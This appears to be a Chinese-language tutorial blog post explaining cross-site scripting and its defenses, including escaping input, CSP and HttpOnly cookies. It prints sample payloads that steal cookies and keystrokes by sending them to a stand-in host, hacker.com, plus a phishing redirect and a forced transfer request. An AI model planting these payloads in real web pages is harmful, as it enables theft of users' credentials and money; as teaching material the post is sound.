什么是 XSS(跨站脚本攻击)?

发布于:2025-03-18 ⋅ 阅读:(23) ⋅ 点赞:(0)

XSS(Cross-Site Scripting)是黑客通过在网页中注入恶意 JavaScript 代码,让受害者的浏览器执行这些代码的攻击方式。

常见攻击场景

XSS 攻击通常发生在网站允许用户提交内容的地方,例如:

  • 论坛、留言板(黑客发布恶意评论)

  • 博客文章(黑客在评论区插入恶意代码)

  • 搜索框(黑客让受害者访问特定链接)

XSS 实战演示

1️⃣ 漏洞场景:不安全的留言板

假设一个网站 vulnerable.com 允许用户提交留言:

<form action="/submit" method="POST">
    <input type="text" name="message">
    <button type="submit">提交留言</button>
</form>

如果网站直接显示用户输入的内容:

<div>用户留言:<script>alert('你被黑了!')</script></div>

问题: 由于网站未对用户输入进行过滤,黑客可以插入恶意 JavaScript 代码!

2️⃣ 黑客如何利用?

黑客在留言框中输入:

<script>alert('你被黑了!')</script>

服务器会存储这段代码,并在页面加载时执行,导致所有访问该页面的用户都弹出提示框。这就是 XSS 攻击!

3️⃣ XSS 可造成的危害

攻击方式 恶意代码示例 后果
窃取用户 Cookie <script>document.write(document.cookie)</script> 盗取用户登录凭证
记录用户输入 <script>document.onkeypress = function(e) { fetch('http://hacker.com/steal?key=' + e.key); }</script> 记录用户账号密码
伪造钓鱼页面 <script>location.href='http://hacker.com/fake-login';</script> 诱骗用户输入密码
让用户自动执行操作 <script>fetch('http://vulnerable.com/transfer?to=hacker&amount=1000');</script> 受害者自动转账

🚫 如何防御 XSS?

1. 过滤和转义用户输入 不直接输出 HTML,而是转义特殊字符,例如:

from flask import escape
safe_message = escape(user_input)

这样,<script> 会被转换成 &lt;script&gt;,浏览器不会执行它。

2. 使用 CSP(内容安全策略) CSP 可阻止执行未授权的脚本:

Content-Security-Policy: default-src 'self'; script-src 'self'

这样,即使 XSS 代码被插入,浏览器也不会执行!

3. 设置 HttpOnly Cookie 防止 JavaScript 读取 Cookie:

Set-Cookie: sessionid=abc123; HttpOnly; Secure

即使 XSS 存在,黑客也无法窃取用户 Cookie!

🌟 HttpOnly 是什么?

HttpOnly 是 Cookie 的一个安全属性,当服务器发送 Cookie 时,可以加上 HttpOnly:

Set-Cookie: sessionid=abc123; HttpOnly; Secure

作用:防止 JavaScript 代码(包括 XSS 攻击)窃取 Cookie!

🔴 XSS 窃取 Cookie(未启用 HttpOnly)

<script>
  fetch('http://hacker.com/steal?cookie=' + document.cookie);
</script>

黑客可窃取 sessionid 并冒充用户登录。

🟢 HttpOnly 保护 Cookie

<script>
  alert(document.cookie);  // 结果:undefined
</script>

即使 XSS 存在,JavaScript 也无法读取 Cookie。

🚫 HttpOnly 不能防止什么?

虽然 HttpOnly 能阻止 JavaScript 访问 Cookie,但它无法防止 CSRF(跨站请求伪造)。 因此,需要配合 CSRF Token 机制来防御!

🎯 总结

✅ XSS 允许黑客注入 JavaScript 代码,诱骗受害者执行。 ✅ XSS 可窃取 Cookie、记录按键、伪造页面、远程控制用户。 ✅ 防御措施包括:过滤输入、使用 CSP、设置 HttpOnly Cookie

🔥 你学会了吗?如果还有疑问,欢迎讨论!😃


网站公告

今日签到

点亮在社区的每一天
去签到